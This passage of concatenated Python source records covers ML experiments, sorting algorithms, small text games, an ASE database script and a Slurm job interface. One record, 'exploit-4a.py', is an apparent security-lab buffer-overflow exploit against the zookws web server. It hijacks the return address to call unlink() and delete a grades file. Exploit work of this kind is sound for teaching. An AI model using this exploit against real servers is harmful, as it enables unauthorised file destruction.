get_model_weights_MLP_health,\n hidden_units,\n init_data,\n num_classes,\n num_iterations,\n num_train_epochs,\n reliability_settings,\n)\nfrom Experiment.mlp_DFG_health import (\n default_skip_hyperconnection_config,\n define_DFG_MLP,\n)\nfrom Experiment.mlp_ResiliNet_health import ResiliNetPlus, define_ResiliNet_MLP\nfrom Experiment.mlp_Vanilla_health import define_vanilla_model_MLP\n\n\ndef define_and_train(\n iteration,\n model_name,\n load_for_inference,\n data,\n num_train_epochs,\n batch_size,\n num_vars,\n num_classes,\n hidden_units,\n verbose,\n):\n # ResiliNet\n if model_name == \"ResiliNet\":\n mux_adds_str = \"mux_adds\" if ResiliNetPlus else \"\"\n model = define_ResiliNet_MLP(num_vars, num_classes, hidden_units)\n model_file = (\n \"models/\"\n + \"Health\"\n + str(iteration)\n + mux_adds_str\n + \"average_accuracy_ResiliNet.h5\"\n )\n # DFG\n if model_name == \"DFG\":\n model = define_DFG_MLP(num_vars, num_classes, hidden_units)\n model_file = \"models/\" + \"Health\" + str(iteration) + \"average_accuracy_DFG.h5\"\n # Vanilla model\n if model_name == \"Vanilla\":\n model = define_vanilla_model_MLP(num_vars, num_classes, hidden_units)\n model_file = (\n \"models/\" + \"Health\" + str(iteration) + \"average_accuracy_vanilla.h5\"\n )\n\n get_model_weights_MLP_health(\n model,\n model_name,\n load_for_inference,\n model_file,\n data,\n num_train_epochs,\n batch_size,\n verbose,\n )\n return model\n\n\ndef calc_accuracy(\n iteration,\n model_name,\n model,\n no_information_flow_map,\n reliability_setting,\n output_list,\n data,\n):\n output_list.append(model_name + \"\\n\")\n print(model_name)\n output[model_name][str(reliability_setting)][\n iteration - 1\n ] = calc_expected_accuracy(\n model,\n no_information_flow_map,\n reliability_setting,\n output_list,\n data=data,\n )\n\n\n# runs all 3 failure configurations for all 3 models\nif __name__ == \"__main__\":\n accuracy = accuracy(\"Health\")\n calc_expected_accuracy = accuracy.calc_expected_accuracy\n data, num_vars = init_data()\n\n ResiliNet_no_information_flow_map = make_no_information_flow_map(\n \"Health\", default_skip_hyperconnection_config\n )\n DFG_no_information_flow_map = make_no_information_flow_map(\n \"Health\", default_skip_hyperconnection_config\n )\n Vanilla_no_information_flow_map = make_no_information_flow_map(\"Health\")\n\n load_for_inference = False\n\n # file name with the experiments accuracy output\n mux_adds_str = \"mux_adds\" if ResiliNetPlus else \"\"\n output_name = \"results/health_average_accuracy\" + mux_adds_str + \".txt\"\n\n verbose = 2\n\n # keep track of output so that output is in order\n output_list = []\n\n output = make_output_dictionary_average_accuracy(\n reliability_settings, num_iterations\n )\n\n make_results_folder()\n for iteration in range(1, num_iterations + 1):\n output_list.append(\"ITERATION \" + str(iteration) + \"\\n\")\n print(\"ITERATION \", iteration)\n ResiliNet = define_and_train(\n iteration,\n \"ResiliNet\",\n load_for_inference,\n data,\n num_train_epochs,\n batch_size,\n num_vars,\n num_classes,\n hidden_units,\n verbose,\n )\n DFG = define_and_train(\n iteration,\n \"DFG\",\n load_for_inference,\n data,\n num_train_epochs,\n batch_size,\n num_vars,\n num_classes,\n hidden_units,\n verbose,\n )\n Vanilla = define_and_train(\n iteration,\n \"Vanilla\",\n load_for_inference,\n data,\n num_train_epochs,\n batch_size,\n num_vars,\n num_classes,\n hidden_units,\n verbose,\n )\n\n # test models\n for reliability_setting in reliability_settings:\n calc_accuracy(\n iteration,\n \"ResiliNet\",\n ResiliNet,\n ResiliNet_no_information_flow_map,\n reliability_setting,\n output_list,\n data,\n )\n calc_accuracy(\n iteration,\n \"DFG\",\n DFG,\n DFG_no_information_flow_map,\n reliability_setting,\n output_list,\n data,\n )\n calc_accuracy(\n iteration,\n \"Vanilla\",\n Vanilla,\n Vanilla_no_information_flow_map,\n reliability_setting,\n output_list,\n data,\n )\n\n # clear session so that model will recycled back into memory\n K.clear_session()\n gc.collect()\n del DFG\n del ResiliNet\n del Vanilla\n # calculate average accuracies from all expected accuracies\n for reliability_setting in reliability_settings:\n ResiliNet_acc = average(output[\"ResiliNet\"][str(reliability_setting)])\n DFG_acc = average(output[\"DFG\"][str(reliability_setting)])\n Vanilla_acc = average(output[\"Vanilla\"][str(reliability_setting)])\n\n output_list.append(\n str(reliability_setting)\n + \" ResiliNet accuracy: \"\n + str(ResiliNet_acc)\n + \"\\n\"\n )\n output_list.append(\n str(reliability_setting) + \" DFG accuracy: \" + str(DFG_acc) + \"\\n\"\n )\n output_list.append(\n str(reliability_setting) + \" Vanilla accuracy: \" + str(Vanilla_acc) + \"\\n\"\n )\n\n print(str(reliability_setting), \"ResiliNet accuracy:\", ResiliNet_acc)\n print(str(reliability_setting), \"DFG accuracy:\", DFG_acc)\n print(str(reliability_setting), \"Vanilla accuracy:\", Vanilla_acc)\n\n ResiliNet_std = np.std(output[\"ResiliNet\"][str(reliability_setting)], ddof=1)\n DFG_std = np.std(output[\"DFG\"][str(reliability_setting)], ddof=1)\n Vanilla_std = np.std(output[\"Vanilla\"][str(reliability_setting)], ddof=1)\n\n output_list.append(\n str(reliability_setting) + \" ResiliNet std: \" + str(ResiliNet_std) + \"\\n\"\n )\n output_list.append(\n str(reliability_setting) + \" DFG std: \" + str(DFG_std) + \"\\n\"\n )\n output_list.append(\n str(reliability_setting) + \" Vanilla std: \" + str(Vanilla_std) + \"\\n\"\n )\n\n print(str(reliability_setting), \"ResiliNet std:\", ResiliNet_std)\n print(str(reliability_setting), \"DFG std:\", DFG_std)\n print(str(reliability_setting), \"Vanilla std:\", Vanilla_std)\n\n save_output(output_name, output_list)\n print(output)\n","sub_path":"Experiment/health_average_accuracy.py","file_name":"health_average_accuracy.py","file_ext":"py","file_size_in_byte":7282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"67440929","text":"from copy import copy\nimport numpy as np\nimport os\n\nfrom numba import jit\n\npath_suffix = os.path.normpath(os.getcwd()).split(\"\\\\\")[-1]\n\nif path_suffix in [\"notebooks\", \"team_19_term_paper\", \"tests\"]:\n from src.quadratic_sorting_algorithms import insertion_sort\nelse:\n from quadratic_sorting_algorithms import insertion_sort\n\n\n@jit()\ndef mergesort_combined(A: list, \n threshold: int=142, \n comb_algo: str=\"insertion\"\n ):\n \"\"\"\n Mergesort combined with insertion sort\n\n args:\n threshold [int] : Number of elements before using insertion instead of mergesort,\n defaults to 11.\n comb_algo [str] : Which algorithm to sort with. Defaults to insertion sort, currently if \n any other str is provideded, python inplace sort on list is implementeted.\n \"\"\"\n\n if len(A) > threshold: \n mid = int(len(A)/2) # Finding the mid of the array \n left_array = A[:mid] # Dividing the array elements \n right_array = A[mid:] # into 2 halves \n \n mergesort_combined(\n left_array,\n threshold=threshold, \n comb_algo=comb_algo\n ) \n # Sorting the first half \n\n mergesort_combined(\n right_array,\n threshold=threshold,\n comb_algo=comb_algo\n )\n # Sorting the second half \n \n\n # Merge process starts on lowest level first and completes finally at \n # left_array[0:mid] and right_array[mid:len(A)], where mid is len(a)//2\n\n left_index = 0\n right_index = 0\n copy_index = 0\n \n \n while left_index < len(left_array) and right_index < len(right_array): \n\n if left_array[left_index] < right_array[right_index]: \n A[copy_index] = left_array[left_index] \n left_index += 1\n\n else: \n A[copy_index] = right_array[right_index] \n right_index += 1\n\n copy_index += 1\n \n # Checking if elements are remaining in Left or Right\n # left_array is copied first since indexing(copy_index) goes from left to right\n while left_index < len(left_array): \n\n A[copy_index] = left_array[left_index] \n left_index += 1\n copy_index += 1\n \n while right_index < len(right_array): \n\n A[copy_index] = right_array[right_index] \n right_index += 1\n copy_index += 1\n\n\n else:\n\n if comb_algo == \"insertion\":\n insertion_sort(A)\n else:\n A = np.sort(A)\n\n\n\n\n","sub_path":"src/combined_sorting_algorithm.py","file_name":"combined_sorting_algorithm.py","file_ext":"py","file_size_in_byte":2639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"190544793","text":"# Complexity\n# Time: O(n * log(k))\n# Space: O(k)\n# Description\n# Selects min list node from heapq.\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\nclass HeapqEle(object):\n def __init__(self, ln):\n self.ln = ln\n\n def __lt__(self, other):\n return self.ln.val < other.ln.val\n\nclass Solution:\n def mergeKLists(self, lists: List[ListNode]) -> ListNode:\n head = ListNode(0)\n curr = head\n\n hq = []\n for ln in lists:\n if ln:\n hq.append(HeapqEle(ln))\n heapq.heapify(hq)\n\n while len(hq) > 0:\n ln = heapq.heappop(hq).ln\n if ln.next:\n heapq.heappush(hq, HeapqEle(ln.next))\n curr.next = ln\n curr = curr.next\n\n return head.next\n","sub_path":"23. Merge k Sorted Lists/Python/solution1.py","file_name":"solution1.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"423753586","text":"from room import Room\nfrom player import Player\nfrom item import Item\n\n# Declare all the rooms\n\nroom = {\n 'outside': Room(\"Outside Cave Entrance\",\n \"North of you, the cave mount beckons.\"),\n\n 'foyer': Room(\"Foyer\", \"\"\"Dim light filters in from the south. Dusty\npassages run north and east.\"\"\"),\n\n 'overlook': Room(\"Grand Overlook\", \"\"\"A steep cliff appears before you, falling\ninto the darkness. Ahead to the north, a light flickers in\nthe distance, but there is no way across the chasm.\"\"\"),\n\n 'narrow': Room(\"Narrow Passage\", \"\"\"The narrow passage bends here from west\nto north. The smell of gold permeates the air.\"\"\"),\n\n 'treasure': Room(\"Treasure Chamber\", \"\"\"You've found the long-lost treasure\nchamber! Sadly, it has already been completely emptied by\nearlier adventurers. The only exit is to the south.\"\"\"),\n}\n\n# Declare all the items\n\nitem = {\n 'sword': Item(\"sword\", \"\"\"a close range weapon used to defeat enemies, cut \n tall grass, and break open clay pots.\"\"\"),\n\n 'rupee': Item(\"rupee\", \"\"\"this is the primary local unit of currency and can\n be used to purchase items from the local shops.\"\"\"),\n\n 'key': Item(\"key\", \"\"\"this key looks like it would fit into a lock on a\n treasure chest.\"\"\"),\n\n 'potion': Item(\"potion\", \"\"\"drink this potion to replenish your health if you\n are running low.\"\"\"),\n\n 'hookshot': Item(\"hookshot\", \"\"\"a spring-loaded, trigger-pulled hooks attached to\n lengthy chains. It can can attack enemies at a distance, \n retrieve remote items, and attach onto certain surfaces \n (like wood) to pull you across large distances.\"\"\"),\n}\n\n# Link rooms together\n\nroom['outside'].n_to = room['foyer']\nroom['foyer'].s_to = room['outside']\nroom['foyer'].n_to = room['overlook']\nroom['foyer'].e_to = room['narrow']\nroom['overlook'].s_to = room['foyer']\nroom['narrow'].w_to = room['foyer']\nroom['narrow'].n_to = room['treasure']\nroom['treasure'].s_to = room['narrow']\n\n# Add items to room\n\nroom['outside'].items = [item['sword']]\nroom['foyer'].items = [item['rupee'], item['potion']]\nroom['overlook'].items = [item['hookshot']]\nroom['treasure'].items = [item['key']]\n\n# Main\n#\n\n# Make a new player object that is currently in the 'outside' room.\n\n# Write a loop that:\n#\n# * Prints the current room name\n# * Prints the current description (the textwrap module might be useful here).\n# * Waits for user input and decides what to do.\n#\n# If the user enters a cardinal direction, attempt to move to the room there.\n# Print an error message if the movement isn't allowed.\n#\n# If the user enters \"q\", quit the game.\n\ndef print_valid_commands():\n print(\"\"\"Valid commands:\n \\'n\\', \\'s\\', \\'e\\', or \\'w\\' move North, South, East, or West\n \\'take <item>\\' pickup an item, where <item> is the item name\n \\'drop <item>\\' drop an item, where <item> is the item name\n \\'i\\' or \\'inventory\\' view the items currently in your inventory\n \\'q\\' quit\\n\"\"\")\n\n# Program Start\n\npossible_directions = ['n', 's', 'e', 'w']\nplayer = Player(\"David\", room[\"outside\"])\n\nplayer.print_location_status()\nprint_valid_commands()\n\n# REPL Start\n\nwhile True:\n cmd = input(\"What would you like to do? \").strip().lower().split() \n num_words = len(cmd)\n\n if num_words == 1:\n cmd = cmd[0]\n if cmd == 'q':\n print(\"\\nThanks for playing! Goodbye.\\n\")\n break\n if cmd in possible_directions:\n player.try_direction(cmd)\n continue\n elif cmd == 'i' or cmd == 'inventory':\n player.print_inventory()\n continue\n elif num_words == 2:\n verb = cmd[0]\n item_name = cmd[1]\n if verb == 'get' or verb == 'take':\n player.try_add_item_to_inventory(item_name)\n continue\n elif verb == 'drop':\n player.try_drop_item_from_inventory(item_name)\n continue\n \n print(\"Invalid input, please try again.\\n\")\n print_valid_commands()","sub_path":"src/adv.py","file_name":"adv.py","file_ext":"py","file_size_in_byte":4059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"136406356","text":"import sys, random\nsys.path.insert(0, 'dependencies')\nimport baseM, curseScript, itemStats\n\nclass MossyGoober(baseM.basicEnemy):\n def __init__(self):\n self.type = \"Mosstrosity\"\n self.health = 85\n self.maxHp = 85\n self.baseDamage = 10\n self.baseDef = 0\n self.block = 0\n self.options = {\"Smack\":10, \"Colossal Punch\":40}\n self.loot = [(\"Gold\", 18)]\n self.turn = 0\n self.useNext = \"Colossal Punch\"\n \n def move(self, player):\n self.turn += 1\n if self.useNext is not None:\n atk = self.useNext\n self.useNext = None\n elif self.turn % 2 == 0:\n atk = \"Sluggish Daze\"\n return atk, 0\n else:\n atk = random.choice(list(self.options.keys()))\n if atk == \"Colossal Punch\":\n print(\"The Mosstrosity seems to be preparing for a large attack!\")\n self.useNext = \"Colossal Punch\"\n return \"Preparation\", 0\n return atk, self.options[atk] + self.baseDamage\n\ndef run(player):\n print(\"You encounter a thicket of vines preventing you from proceeding. What do you do?\")\n choice = input(\"[Push Through, Cut Vines, Go Back]\")\n if choice.title() in [\"Push\", \"Push Through\", \"Through\", \"P\"]:\n print(\"You push through the vines to the other side. Unfortunately, you realize that the vines were actually poisonous.\")\n tx = curseScript.toxins()\n tx.severity = 3\n player.curses.append(tx)\n elif choice.title() in [\"Cut\", \"Vines\", \"Cut Vines\", \"C\"]:\n if baseM.hasWeapon(player):\n print(\"As you carefully cut the vines you start to feel the ground move beneath you.\")\n print(\"You leap back onto solid ground as the giant green creature rises before you.\")\n print(\"The creature turns to you and massive, moss-covered arms move toward you.\")\n print(\"The enormous creature stands before you, and it looks like it's preparing to attack...\")\n baseM.runBasicFight(player, [MossyGoober()], playerFirst = True)\n else:\n print(\"Without a proper weapon, you are unable to cut the vines.\")\n run(player)\n elif choice.title() in [\"Go Back\", \"Go\", \"Back\", \"G\"]:\n print(\"You turn away from the vines only to find more vines blocking the entrance from which you came..\")\n print(\"Or was it? As you look around, vines cover every wall and stretch in front of the many doorways into and out of this room.\")\n print(\"Confused and dizzy, you sit down on the ground to reconsider your options.\")\n player.curses.append(curseScript.madness())\n else:\n baseM.checkCommands(choice,player)\n run(player)\n return player\n","sub_path":"Rooms/Medium/mossyGooberM.py","file_name":"mossyGooberM.py","file_ext":"py","file_size_in_byte":2759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"241195029","text":"import random\n\nwords = [\"giraffe\", \"toaster\", \"Bear\", \"philosophy\", \"happiness\", \"unicorn\", \"apple\", \"colourful\"]\nhangman_image = [\n\"\"\"\n------------------\n|/ |\n| |\n| |\n| |\n| |\n| |\n| |\n|________________|\n\"\"\",\n\"\"\"\n------------------\n|/ |\n| |\n| |\n| |\n| |\n| _| |_ |\n| |\n|________________|\n\"\"\",\n\"\"\"\n-----------------\n|/ |\n| |\n| |\n| |\n| / \\ |\n| _| |_ |\n| |\n|_______________|\n\"\"\",\n\"\"\"\n-----------------\n|/ |\n| |\n| |\n| _/ | \\/` |\n| / \\ |\n| _| |_ |\n| |\n|_______________|\n\"\"\",\n\"\"\"\n------------------\n|/ |\n| |\n| /|\\ |\n| _/ | \\/` |\n| / \\ |\n| _| |_ |\n| |\n|________________|\n\"\"\",\n\"\"\"\n------------------\n|/ |\n| ( ) |\n| /|\\ |\n| _/ | \\/` |\n| / \\ |\n| _| |_ |\n| |\n|________________|\n\"\"\",\n\"\"\"\n------------------\n|/ | |\n| ( ) |\n| /|\\ |\n| _/ | \\/` |\n| / \\ |\n| _| |_ |\n| |\n|________________|\n\"\"\"\n]\n\nattempts = 0 # counts how many times the user has guessed a letter.\nright_answer = 0 # counts how many times the user has correctly guessed a letter\nwrong_answer = -1\nword = random.choice(words)\n# (if the correct guess appears twice in word, increments by 2).\n\nletters_guessed = \"\" # stores letters guessed so far\nhangman_word = \"\" # displays the word using underscores for unguessed letters.\nnumbers = \"1234567890\"\n\nprint(\"There are\", len(word), \"letters in the word.\\n\")\n\nwhile wrong_answer < 6:\n\n if right_answer == len(word):\n print(\"You guessed the word in\", attempts, \"yaaaaay\")\n again = input(\"Press 'y' to play again or any other key to exit\")\n\n if again == \"y\":\n break\n\n else:\n exit()\n\n else:\n guess = input(\"guess a letter\\n\")\n\n if guess in numbers:\n print(\"please enter a letter only\")\n continue\n\n if guess in word:\n #print(hangman_image[wrong_answer])\n\n for letter in word:\n if guess == letter:\n right_answer += 1\n else:\n continue\n else:\n wrong_answer += 1\n print(\"The letter\", guess, \"is not in the word\")\n print(hangman_image[wrong_answer])\n\n attempts += 1\n letters_guessed = letters_guessed + guess + \", \"\n print(\"\\nguesses so far:\", letters_guessed + \"\\n\")\n\n for letter in word:\n if letter in letters_guessed:\n hangman_word = hangman_word + \" \" + letter + \" \"\n else:\n hangman_word = hangman_word + \" _ \"\n\n print(hangman_word + \"\\n\")\n hangman_word = \"\"\n\nprint(\"You didn't guess the word in time, I don't think he's moving, nuuu\")\n\n#bugs:\n#1.need to stop the user entering the same guess twice to stop the right-answer incrementing by one.\n#2. need to increment right answer if letter guessed appears twice in the word.\n#3. make it so player can only enter one letter as guess.\n#4. Tell player whether their guess was right or wrong.\n#5. At the end tell user how many guesses they got right or wrong.\n\n\n#improvements:\n#make the game replayable.\n#Stop the user entering a number instead of a letter\n#So they can guess the full word at any time\n#Add a picture of the word if guessed correctly at end\n#GUI interface yaaay :)\n#stop the computer choosing the same word twice in a row.","sub_path":"5.3. hangman better.py","file_name":"5.3. hangman better.py","file_ext":"py","file_size_in_byte":3796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"420386625","text":"#!/usr/bin/env python2\nimport sys\nimport socket\nimport traceback\nimport urllib\nimport struct\n\n####\n\n## You might find it useful to define variables that store various\n## stack or function addresses from the zookd / zookfs processes,\n## which you can then use in build_exploit(); the following are just\n## examples.\n\nunlink_path = \"/home/httpd/grades.txt\"\nstack_buffer = 0xbfffedf8\nstack_saved_ebp = 0xbffff608\nstack_retaddr = stack_saved_ebp + 4\nunlink_addr = 0x401014c0 #address of function unlink()\nexit_addr = 0x400589d0 #address of function exit()\ntarget_addr = stack_retaddr + 12 #address of unlink_path\n\n## This is the function that you should modify to construct an\n## HTTP request that will cause a buffer overflow in some part\n## of the zookws web server and exploit it.\n\ndef build_exploit(shellcode):\n ## Things that you might find useful in constructing your exploit:\n ## urllib.quote(s)\n ## returns string s with \"special\" characters percent-encoded\n ## struct.pack(\"<I\", x)\n ## returns the 4-byte binary encoding of the 32-bit integer x\n ## variables for program addresses (ebp, buffer, retaddr=ebp+4)\n\n req = \"GET /\"\n req += \"A\"*2067 #now get to the saved-eip or return address\n req += struct.pack(\"<I\",int(unlink_addr)) #modify return adress to let it point to unlink()\n req += struct.pack(\"<I\",int(exit_addr)) #adress of exit() to let it terminate gracefully\n req += struct.pack(\"<I\",int(target_addr)) #argument address for function unlink()\n #I put \"unlink_path\" here because http_request_line() will replace the ' ' before \"HTTP\" with '\\0'.\n req += urllib.quote(unlink_path) #real argument form function unlink()\n req += \" HTTP/1.0\"+ \"\\r\\n\\r\\n\"\n\n #req = \"GET /\"+ \"A\"*2067 + struct.pack(\"<I\",int(unlink_addr))+struct.pack(\"<I\",int(exit_addr))+struct.pack(\"<I\",int(target_addr)) + urllib.quote(unlink_path) + \" HTTP/1.0\"+ \"\\r\\n\\r\\n\"\n return req\n\n####\n\nif len(sys.argv) != 3:\n print(\"Usage: \" + sys.argv[0] + \" host port\")\n exit()\n\ntry:\n shellfile = open(\"shellcode.bin\", \"r\")\n shellcode = shellfile.read()\n req = build_exploit(shellcode)\n print(\"HTTP request:\")\n print(req)\n\n resp = send_req(sys.argv[1], int(sys.argv[2]), req)\n print(\"HTTP response:\")\n print(resp)\nexcept:\n print(\"Exception:\")\n print(traceback.format_exc())\n\n","sub_path":"lab1/exploit-4a.py","file_name":"exploit-4a.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"341768836","text":"from ase.db import connect\nfrom ase import Atoms\nfrom ase.build import bulk\nfrom ase.visualize import view\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef save_atoms(my_atoms, E_c, Nbands, Kpts, Fermi_dirac, Lattice_constant, Is_varying):\n\n db = connect('single_cu2.db')\n db.write(my_atoms, energy_cutoff = E_c, nbands = Nbands, k_points = Kpts, smearing_factor = Fermi_dirac, lattice_constant = Lattice_constant, is_varying = Is_varying)\n\ndef print_energies(Is_varying):\n\n db = connect('single_cu_xc_PBE.db')\n print('The changing parameter is ' + Is_varying)\n for obj in db.select(is_varying = Is_varying):\n\n print(Is_varying + ' is ' + str(obj[Is_varying]))\n\n print('The energy is ' + str(obj['energy']))\n\n\n\n\ndef db_deleter():\n\n param = 'lattice_constant'\n db = connect('single_cu_bcc.db')\n for obj in db.select(is_varying = param):\n\n del db[obj.id]\n\ndef plot_from_db(Is_varying, database_name):\n\n db = connect(database_name)\n energies = []\n changing_parameter = []\n for obj in db.select(is_varying = Is_varying):\n\n energies.append(obj['energy'])\n changing_parameter.append(obj[Is_varying])\n\n plt.figure(0)\n if Is_varying == 'lattice_constant':\n plt.plot(changing_parameter, energies)\n plt.plot(changing_parameter, energies, '*')\n else:\n plt.semilogx(changing_parameter, energies)\n plt.semilogx(changing_parameter, energies, '*')\n plt.ylabel('Potential energy [eV/atom]')\n plt.xlabel('Lattice constant [Å]')\n #plt.show()\n return energies, changing_parameter\n\ndef plot_from_db_two_db(Is_varying, database_name1, database_name2):\n\n db1 = connect(database_name1)\n db2 = connect(database_name2)\n energies1 = []\n energies2 = []\n changing_parameter1 = []\n changing_parameter2 = []\n amt1 = db1.get_atoms(id = 1)\n amt2 = db2.get_atoms(id = 1)\n\n for obj in db1.select(is_varying = Is_varying):\n\n energies1.append(obj['energy']/amt1.get_number_of_atoms())\n changing_parameter1.append((obj[Is_varying]))\n\n plt.figure(0)\n\n if (Is_varying == 'k_points'):\n plt.semilogx(changing_parameter1, energies1,'b')\n plt.semilogx(changing_parameter1, energies1, 'bo',label='_nolegend_')\n else:\n if (Is_varying == 'smearing_factor'):\n plt.plot([k/(8.62*10**-5) for k in changing_parameter1], energies1,'b')\n plt.plot([k/(8.62*10**-5) for k in changing_parameter1], energies1, 'bo',label='_nolegend_')\n else:\n plt.plot(changing_parameter1, energies1,'b')\n plt.plot(changing_parameter1, energies1, 'bo',label='_nolegend_')\n\n for obj in db2.select(is_varying = Is_varying):\n\n energies2.append(obj['energy']/amt2.get_number_of_atoms())\n\n changing_parameter2.append((obj[Is_varying]))\n\n\n if (Is_varying == 'k_points'):\n plt.semilogx(changing_parameter2, energies2,'r')\n plt.semilogx(changing_parameter2, energies2, 'r+',label='_nolegend_')\n plt.xlabel('number of k-points')\n else:\n if (Is_varying == 'smearing_factor'):\n plt.plot([k/(8.62*10**-5) for k in changing_parameter2], energies2,'r')\n plt.plot([k/(8.62*10**-5) for k in changing_parameter2], energies2, 'r+',label='_nolegend_')\n plt.xlabel('smearing factor [K]')\n else:\n plt.plot(changing_parameter2, energies2,'r')\n plt.plot(changing_parameter2, energies2, 'r+',label='_nolegend_')\n plt.xlabel(r'$E_{cut}$'+' [eV]')\n\n\n plt.ylabel('Potential energy [eV/atom]')\n plt.legend(['1 atom', '64 atoms'],fancybox=True, framealpha=1,shadow=True,prop={'size': 10})\n plt.grid(True)\n #plt.show()\n #return energies, changing_parameter\n\n\ndef show_min_lc():\n en_lda, cp_lda = plot_from_db('lattice_constant', 'single_cu_xc_LDA2.db')\n en_pbe, cp_pbe = plot_from_db('lattice_constant', 'single_cu_xc_PBE.db')\n en_blyp, cp_blyp = plot_from_db('lattice_constant', 'single_cu_xc_BLYP2.db')\n print('The min values in the dataset are:')\n print(cp_lda[en_lda.index(min(en_lda))])\n print(cp_pbe[en_pbe.index(min(en_pbe))])\n print(cp_blyp[en_blyp.index(min(en_blyp))])\n print('The min values in the fit are: ')\n cp_pbe = [i**3 for i in cp_pbe]\n ldav = np.polyfit(cp_lda, en_lda, 2)\n pbev = np.polyfit(cp_pbe, en_pbe, 2)\n blypv = np.polyfit(cp_blyp, en_blyp, 2)\n print(pbev)\n ldav = np.polyder(ldav)\n pbev = np.polyder(pbev)\n blypv = np.polyder(blypv)\n print(np.roots(ldav))\n print(np.roots(pbev))\n print(np.roots(blypv))\n #print(np.polyder(pbev))\n\n\n\n\n#plot_from_db_two_db('smearing_factor','single_cu2.db','cu_kpts.db')\n#plot_from_db('energy_cutoff','cu_vacancy_db.db')\n#plt.show()\n#plt.show()\n#plot_from_db('lattice_constant', 'single_cu_xc_BLYP.db')\n#plt.show()\n#show_min_lc()\n#plt.savefig('my_fig.png')\n#plot_from_db('lattice_constant', 'single_cu_xc_LDA2.db')\n#plt.show()\n\n#bulk_mat = bulk('Cu','fcc',3.62)*(4,4,4)\n\n\n#del bulk_mat[[atom.index for atom in bulk_mat if atom.index != 45]]\n#view(bulk_mat)\nnames = ['cu_vacancy_64db.db', 'cu_vacancy_63db.db']\nIs_varying = 'energy_cutoff'\nenergies = []\nfor name in names:\n\n db = connect(name)\n\n for obj in db.select(is_varying = Is_varying):\n\n print('The energy is ' + str(obj['energy']))\n energies.append(float(obj['energy']))\n\nprint(energies[1]-(63/64)*energies[0])\n\n\n\n\n#\n","sub_path":"cu_vacancy/ase_db.py","file_name":"ase_db.py","file_ext":"py","file_size_in_byte":5400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"511788909","text":"\"\"\"Slurm interface.\"\"\"\n\nfrom os import makedirs\nfrom pathlib import Path\nfrom typing import List\n\nfrom xdg import xdg_data_home\n\nfrom blackcap.cluster.base import BaseCluster\nfrom blackcap.schemas.schedule import Schedule\nfrom blackcap.utils.cli_commands import call_cli\n\n\nclass SlurmCluster(BaseCluster):\n \"\"\"Slurm interface.\"\"\"\n\n CONFIG_KEY_VAL = \"SLURM\"\n\n def prepare_job(self: \"SlurmCluster\", schedule: Schedule) -> None:\n \"\"\"Prepare job for submission.\n\n Args:\n schedule (Schedule): Schedule Object\n \"\"\"\n job = schedule.job\n job_data_path: Path = (\n xdg_data_home() / \"orchestra\" / \"demon\" / \"jobs\" / str(job.job_id)\n )\n makedirs((job_data_path / \"out\"), exist_ok=True)\n with open(job_data_path.joinpath(\"start.sh\"), \"w+\") as f:\n f.write(job.script)\n with open(job_data_path.joinpath(\"notify_start.sh\"), \"w+\") as f:\n f.write(\n f\"\"\"#! /bin/bash\n conda activate orchestra\n\n demon pub schedup --sched_id={schedule.schedule_id} --job_id={job.job_id} --status=RUNNING # noqa: B950\n \"\"\"\n )\n with open(job_data_path.joinpath(\"notify_ok.sh\"), \"w+\") as f:\n f.write(\n f\"\"\"#! /bin/bash\n conda activate orchestra\n\n demon pub schedup --sched_id={schedule.schedule_id} --job_id={job.job_id} --status=COMPLETED # noqa: B950\n \"\"\"\n )\n with open(job_data_path.joinpath(\"notify_not_ok.sh\"), \"w+\") as f:\n f.write(\n f\"\"\"#! /bin/bash\n conda activate orchestra\n\n demon pub schedup --sched_id={schedule.schedule_id} --job_id={job.job_id} --status=FAILED # noqa: B950\n \"\"\"\n )\n\n def submit_job(self: \"SlurmCluster\", schedule: Schedule) -> str:\n \"\"\"Submit job to the cluster.\n\n Args:\n schedule (Schedule): Schedule Object\n\n Returns:\n str: Job ID\n \"\"\"\n job = schedule.job\n self.prepare_job(schedule)\n job_data_path: Path = (\n xdg_data_home() / \"orchestra\" / \"demon\" / \"jobs\" / str(job.job_id)\n )\n job_script_path: Path = job_data_path / \"start.sh\"\n # notify_start_script_path: Path = job_data_path / \"notify_start.sh\"\n # notify_ok_script_path: Path = job_data_path / \"notify_ok.sh\"\n # notify_not_ok_script_path: Path = job_data_path / \"notify_not_ok.sh\"\n job_out_path: Path = job_data_path / \"out\"\n main_job_cmd_args_list = [\n \"sbatch\",\n job_script_path.absolute(),\n \"-o\",\n job_out_path.absolute(),\n ]\n output = call_cli(main_job_cmd_args_list)\n\n # example: Submitted batch job 45\n main_job_id = output.split(\" \")[-1]\n # TODO: Fix notify scripts\n # Add notify jobs\n # notify_start_job_cmd_args_list = [\n # \"sbatch\",\n # f\"--dependency=after:{main_job_id}\",\n # notify_start_script_path.absolute(),\n # \"-o\",\n # job_out_path.absolute(),\n # ]\n # call_cli(notify_start_job_cmd_args_list)\n\n # notify_ok_job_cmd_args_list = [\n # \"sbatch\",\n # f\"--dependency=afterok:{main_job_id}\",\n # notify_ok_script_path.absolute(),\n # \"-o\",\n # job_out_path.absolute(),\n # ]\n # call_cli(notify_ok_job_cmd_args_list)\n\n # notify_not_ok_job_cmd_args_list = [\n # \"sbatch\",\n # f\"--dependency=afternotok:{main_job_id}\",\n # notify_not_ok_script_path.absolute(),\n # \"-o\",\n # job_out_path.absolute(),\n # ]\n # call_cli(notify_not_ok_job_cmd_args_list)\n return main_job_id\n\n def get_job_status(self: \"SlurmCluster\", job_id: str) -> List[str]:\n \"\"\"Get status of a job by Job.\n\n Args:\n job_id (str): ID of the job\n\n Returns:\n List[str]: List of status of the jobs\n 